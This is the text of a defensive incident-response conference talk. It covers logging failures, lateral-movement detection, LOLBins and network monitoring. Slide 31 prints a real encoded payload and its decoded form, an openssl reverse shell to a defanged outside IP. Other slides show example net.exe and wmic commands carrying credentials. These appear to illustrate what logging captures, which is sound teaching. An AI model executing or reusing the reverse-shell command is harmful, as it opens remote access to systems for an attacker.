Incident Response Fails – What we see with our clients, and their fails. As Incident Responders, what do we see as Incident Responders that you can do to be better prepared, reduce your incident costs, get answers faster and reduce the cost of an IR Firm if needed. HackerHurricane Malware Archaeology MalwareArchaeology LOG-MD

1. Presented by: Michael Gough
Incident Response Fails
What we see with our
clients, and their fails

2. WHOAMI
2 Public Consumption
Blue Team Defender Ninja, Malware Archaeologist, Logoholic and
• Principal Incident Response Engineer for
I love “properly” configured logs – they tell us Who, What, Where, When and hopefully How
Creator of
“Windows Logging Cheat Sheet”
“Windows File Auditing Cheat Sheet”
“Windows Registry Auditing Cheat Sheet”
“Windows Splunk Logging Cheat Sheet”
“Windows ATT&CK Logging Cheat Sheet”
“ARTHIR – ATT&CK Remote Threat Hunting Incident Response tool”
Co-Creator of:
“Log-MD” – Log Malicious Discovery Tool and
“File-MD” – Static file analysis scanner

3. WHOAMI
3 Public Consumption
Why this talk?
Learn from what we
see in the trenches
Avoid mistakes others
make

4. Being an Incident Responder
4 Public Consumption
• We get called when things get
• Clients want to know Who, What, Where, When, and How the
pwnage happened
• We all know why…
• So what do we consistently see with our clients? How are they
failing?

5. Level Set
5 Public Consumption
• Let us first define a few items
• Security 101 – Things you should always do, usually things
you already have and are FREE… well your time is needed
• Security 201 – Things you should have to “reduce” pwnage
and hopefully alert to suspicious activity
• Security 301 – Things you should be doing with your tools,
understand the gaps and address them with additional
tooling, process and/or procedures
• Security 501 – Doing things like Threat Hunting and being
proactive at seeking out the malicious behavior

6. This talk
6 Public Consumption
• This talk covers more of Security 101 and 201
• These are the things we see many, if not most
organizations are failing, forgot or did not continue
doing
• Organizations jump to Security 301 and forget to
continue Security 101 and 201
• This is the first #Fail we see

7. Public Consumption
The
Three C’s

8. The 3 Cs
8 Public Consumption
What do we see our clients fail at?
Configuration
Local audit logging not optimally configured
Endpoint agents not optimally configured
Coverage
Endpoints missing one or more agents
Some or all log data (endpoint, cloud, network, internet facing) not
going to a log management solution
Completeness
Implement a process to validate and verify Configuration and
Coverage is “Complete”

9. Completeness
9 Public Consumption
When you roll out an agent…
Do you...
1. Validate the agent was properly installed?
2. Compare it to a list of known assets?
• Do you even know where or what all your assets are?
3. Verify the data is collecting properly?
4. Have a way to identify new systems as they come live?
5. Have a way to install agents on new systems quickly?
6. Verify the endpoint configuration is showing up in the proper
console(s)… regularly?

10. Why the 3 C’s are important
10
Public Consumption
• Incident Responders need data to discover what happened
to the detail level we can be sure
• This is so our clients can improve and close the gap(s) of why
the pwnage happened or wasn’t detected
• To reduce the cost and time of an Incident Response
investigation is always a goal
• It can save you 2x to 4x the cost of paying an Incident
Response firm
• You could be way ahead… IF you prepare

11. The 3 ‘s are FREE
11
Public Consumption
• You don’t have to spend $$$ to improve procedures and
processes
• Or tweak some settings
• People time is a cost, but not an external spend
• So spend some time on Preparation…. It is in the P in the
SANS PICERL model
• Many of our clients have incomplete or broken agent installs
and endpoint configuration is not optimal
• This means incomplete coverage and configuration
• Thus missing details and potentially the initial compromise

12. Windows Audit Logs
12 Public Consumption
We check Windows systems for what logging is enabled before
we perform triage to know what will likely be there…
There is a freely available tool to check your Windows logs
against some well known Cheat Sheets ;-)
Hint..

13. Local Log Sizes are NOT Big Enough
13
Public Consumption

14. PowerShell Logging is inadequate
1 Public Consumption
• PowerShell is used a lot in all kinds of attacks
• Commodity, Ransomware, APT
• Command Line details missing
• ScriptBlock Logging improperly or not set

15. Audit Settings Fail
15 Public Consumption
• We need the data enabled and retained for a week or longer

16. WHOAMI
16
Public Consumption
• IF… Prevention worked so well
• THEN… Why are we having more pwnage than ever before?
• Can we change the term to something more realistic?
• Let’s consider it “Reduction”
• Now we can look at how we can reduce the likelihood, effort,
time, damage, costs, etc…
• Because we have not succeeded in preventing events

17. Threat Hunting
17
Public Consumption
• It’s all the rage
• Before you can do Threat Hunting and expect to actually find
anything
• You need to solve the 3 C’s and have one or more methods or
solutions to hunt with
• Fancy EDR Threat Hunting solution
• Or better yet a log management solution
• That collects all the “right” things

18. Threat Hunting
18
Public Consumption
• Our clients want to do it
• But the data is not enabled or being collected that is needed to
perform any decent hunting
• Same goes for performing Incident Response
• You need the data or we can’t do the best job as fast as we like
• Time is Money

19. Client Confidential
So what are
we seeing out
there?

20. Lack of Process Details
20
Public Consumption
• Why is EDR better than Anti-Virus?
• For one thing it looks at the parameters and associations of an
execution
• The details tell us WHAT the Bad Actor(s) are actually doing
• But EDR falls short on all the details as it tends to be execution
based, some have comms too
• But EDR alone is not enough

21. Some Clients Have EDR
21
Public Consumption
• Is it stopping all the attacks?
• No
• Does it see part of the attack?
• Yes
• Will I get all the details I need to investigate
• Probably not, depends on the solution
• Authentication monitoring is not common in EDR solutions, so lateral
movement is not detected until execution of something known bad
occurs

22. Anti-Virus NOT Being Used Well
22 Public Consumption
• We see clients with multiple AV solutions
• Why is this bad?
• Because getting the alert details into one place, like a Log
Management solution can be a pain for many AV solutions
• You need connectors to pull the data into your log
management
• We see Microsoft Defender alerts in the local logs, but no one
is looking or collecting it

23. Anti-Virus NOT Being Used Well
23
Public Consumption
• If a local log is available, use it!
• Collect the Defender Logs for the following Event IDs
• 1006, 1009, 1116, 1117, 1119
• Only created when it finds something, so low noise, high return
if you collect and alert on them
• We find one or more systems see a piece of an attack in the
Defender logs, but no one looked, so it was missed

24. Ransomware
24
Public Consumption
• Have you heard of this “new” attack?
• Most are due to passwords being compromised and then
logging into Internet facing systems, like RDP
• Some by emailed payloads or links
• Detection is very poor
• Solution that detects/stops the brute login not present
• Solution that detects/stops the mass encryption not present

25. Client Confidential

26. Login Attempts
26
Public Consumption
Massive Login Attempts
• From the host being investigated
• We see 20, 40, 60… failed logins to an endpoint or device
• No alerting for obvious places failed login attempts in
mass should NOT be
• Failed logins provide the source IP and sometimes name
of the source attacking/attempting device
• Easy alert, IF endpoint data is being collected
• Most do not collect user endpoint login data
• Too bad as local logins to a host for a domain user are
rare

27. Lateral Movement
27
Public Consumption
• Lateral Movement
• From the host being investigated
• Bad guys use several methods, this is just one example
• Net.exe, Net1.exe
• You see 20 of these ‘net.exe’ in the logs, so what did they
actually do?
• NO Process Command Line being collected
• Which means there are no details, and much more work
to discover Where they went

28. Lateral Movement Details
28
Public Consumption
Net.exe - devil IS in the details
• WHAT Server/Workstation?
• WHAT Share?
• WHAT User?
• IF Process Command Line was being collected then you would see….
Net.exe Secret-ServerCredit-Cards /u:SuperDomainUser /p:Password123

29. BIG Difference
2 Public Consumption
Now if there were 20 of these events in the logs
• We would now know:
• What systems were connected to
• What shares, thus what data was exposed and possibly taken
• What user account(s) got pwned
• As an Incident Responder I now have more targets to investigate because I
KNOW they logged into these specific systems!
• GREAT Resource by JPCert on Lateral Movement
• https://www.jpcert.or.jp/english/pub/sr/20170612ac-ir_research_en.pdf

30. Save Your Sanity, Time, And Job
3 Public Consumption
• IF you collect the details, we can investigate in minutes/hours versus
days/weeks
• This equates to real $$$ saved
• Since time is money
• NIX and macOS ‘history’ of course we need too

31. NIX Example – Barracuda Email CVE-2023-2868
3 Public Consumption
• NIX and macOS ‘history’ of course we need too
• --Begin Encoded Payload--
• '`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvcGVuc3NsIHNfY2xpZW
50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjIyMy4xOTY6ODA4MCA+L3RtcC9wIDI+L2Rldi9udWxsO3JtIC90bXAvc
CI=;ee=ba;G=s;"ech"o $abcdefg|${ee}se64 -d|${G}h;wh66489.txt`'
• --End Encoded Payload--
• The encoded block above decodes to a reverse shell seen below.
• --Begin Decoded Command--
• setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -
connect 107[.]148[.]223[.]196:8080 >/tmp/p 2>/dev/null;rm /tmp/p"
• --End Decoded Command--

32. More Lateral Movement
3 Public Consumption
• WMI is also used and does not log well
• Look for “/user:” and /password
• Remote WMI connections have a unique dual auth with Windows 10
and above, so look for these as sure fire indications of remote WMI
pwnage
• See my DerbyCon 2018 presentation
• https://www.irongeek.com/i.php?page=videos/derbycon8/track-3-03-detecting-wmi-
exploitation-michael-gough
wmic /user:"FOREIGN_DOMAINAdmin" /password:"Password" /node:192.168.1.2 group list brief

33. More Lateral Movement
33
Public Consumption
• Windows Remote Management (WinRM)
– PowerShell Remoting
• So VERY Powerful
• Just enable and go anywhere
• This is a bit different as we need to collect a different log
• Applications and Services Logs
– Microsoft-Windows-Windows-Remote-Management/Operational

34. More Lateral Movement
34
Public Consumption
• You do need to configure the endpoint
• Bad Actors use WMI to remotely execute:
• winrm qc
• Now PowerShell is being heavily used
• Little on the Process Command Line as far as PowerShell details
• What about WinRM Logs?
• What about PowerShell Logs?

35. WinRM Has Logs
35
Public Consumption
• Event ID 6 (Host/attacker) and 91 (Target) will give you a
list of systems that are connected to

36. PowerShell Has Logs
36 Public Consumption
• Event ID 4104 will show you the PowerShell command(s) used to
connect
• Enter-PSSession <hostname> …
• Event ID 4103 will show you details against the Target system(s)

37. Client Confidential
What about
the
Network ?

38. Network Fails
3 Public Consumption
• Outbound traffic from servers
• Most have the infamous ANY/ANY outbound
• No basic detection or alerts for odd ports or NEW IPs
• TOR uses 80 and 443, but also others
• 4443, 9001, 9030, 9040, 9050, 9051, and 9150
• What about Countries or Network Owners of the outbound IPs?
• No baseline of normal traffic

39. Client Confidential
So where
do you start?

40. Capabilities Assessment
40
Public Consumption
• In the SANS PICERL model the last item is ‘Lesson Learned’
• So apply Post-Mortem to Pre-Mortem
• We call this a Capability Assessment
• What is my Incident Response capability to detect an attack and
respond quickly?
• Am I collecting the right things?
• Do I have an idea how long the data is collecting for?
• Where is the data located?

41. Capability Assessment
41 Public Consumption
• You have to understand what data you have, how long it is collecting
for and WHERE the data resides
• You will need to break glass with an IR firm before this data rolls!
• You need a process to evaluate this data and length you have it for
• You may also need a process to collect or protect the data from rolling
out of the logs

42. Capability Assessment
42
Public Consumption
• By doing a Capability Assessment you can determine if the log data
you have is adequate for Incident Response and also Threat Hunting
• You can use a well-known framework to map what you have, or
should have to detect well known items used by the bad actors
• You can track the progress of what you are collecting and create
playbooks or runbooks as you verify your sources

43. MITRE ATT&CK
43
Public Consumption
• First - Everything you do should be mapped to MITRE ATT&CK -
https://attack.mitre.org/
• Some of the techniques used
• T1021.006 – Remote Service WinRM
• T1047 – WMI
• T1059.001 - Command and Scripting Interpreter: PowerShell
• T1218 - Signed Binary Proxy Execution
• Etc.

44. Watch for Downloading LOLBin/LOLBas
44 Public Consumption
• Malicious code has to be downloaded
• Advanced attackers and Red Teams will use the LOLBin and Scripts
LOLBaS to download the payload
• Alert on these
• Baseline the normal, there will NOT be many
• Watch these executions closely
• Process Command Line details are key!!!

45. LOLBin/LOLBas That Can Be Downloaded
45
Public Consumption
• powershell.exe
• bitsadmin.exe
• certutil.exe
• psexec.exe
• wmic.exe
• mshta.exe
• mofcomp.exe
• cmstp.exe
• windbg.exe
• cdb.exe
• msbuild.exe
• csc.exe
• regsvr32.exe
• Excel too !!!
Short list per Cisco Talos
• mshta.exe
• certutil.exe
• bitsadmin.exe
• regsvr32.exe
• powershell.exe
https://blog.talosintelligence.com/2019/11/hunting-for-lolbins.html
Process Command Line is KEY
Map to MITRE ATT&CK

46. Watch Your Traffic
46
Public Consumption
• It is time to setup some basic network monitoring as a part of Security
101
• Alert on ALL non 80/443 ports from internal servers
• Of course 53, 22, 25, 465, 587, 1433, 3306 will be normal ports too,
every org will have other ports
• Look at the Network owner of the IPs and exclude the CIDR of
known/trusted owners
• Servers should not be overly complicated for outbound traffic IF they
are not on the Internet

47. Watch Your Traffic
47
Public Consumption
• Of course Internet facing servers are a bit different
• Create a procedure to lookup the Country and Network Owner and
build a normal pattern if you can for outbound traffic
• Create a way to validate IPs
• We will during an event
• We will process LOTS of IPs
• Of course you need to enable source IP logging
• AWS Flow Logs - PLEASE

48. Internet Facing Systems
48 Public Consumption
• How many Internet facing devices had remote vulnerabilities that got
pwned in the last year or two?
• It IS time to make sure the logging on Internet facing systems are
collecting locally at a minimum
• Know how long the data will exist or roll off
• Focus on having the following data in the logs
• Source IP (WHERE)
• Country origin option (log mgmt. usually has this)
• Authentication information (WHO)

49. Client Confidential
CONCLUSION

50. Conclusion
50
Public Consumption
• Learn from these typical failures
• Configure your logging
• Cover ALL your assets
• Verify the Completeness
• Watch for the items in this talk
• And several other of my talks
Practice Security 101 and 201 even if you are all the way to 501 or
beyond

51. Resources
51
Public Consumption
• Websites
• Log-MD.com The tools
• ARTHIR.com Free on GitHub
• The “Windows Logging Cheat Sheet(s)”
• https://MalwareArchaeology.com/cheat-sheets
• MITRE ATT&CK is your friend
• https://attack.mitre.org/techniques/enterprise/
• JPCert Detecting Lateral Movement
• https://www.jpcert.or.jp/english/pub/sr/20170612ac-
ir_research_en.pdf
• This presentation and others on SlideShare
• Search for MalwareArchaeology or LOG-MD

52. Questions?
52
Public Consumption
You can find us at:
• NCCGroup.com
• MalwareArchaeology.com
• TIME FOR HALLWAY CON !!!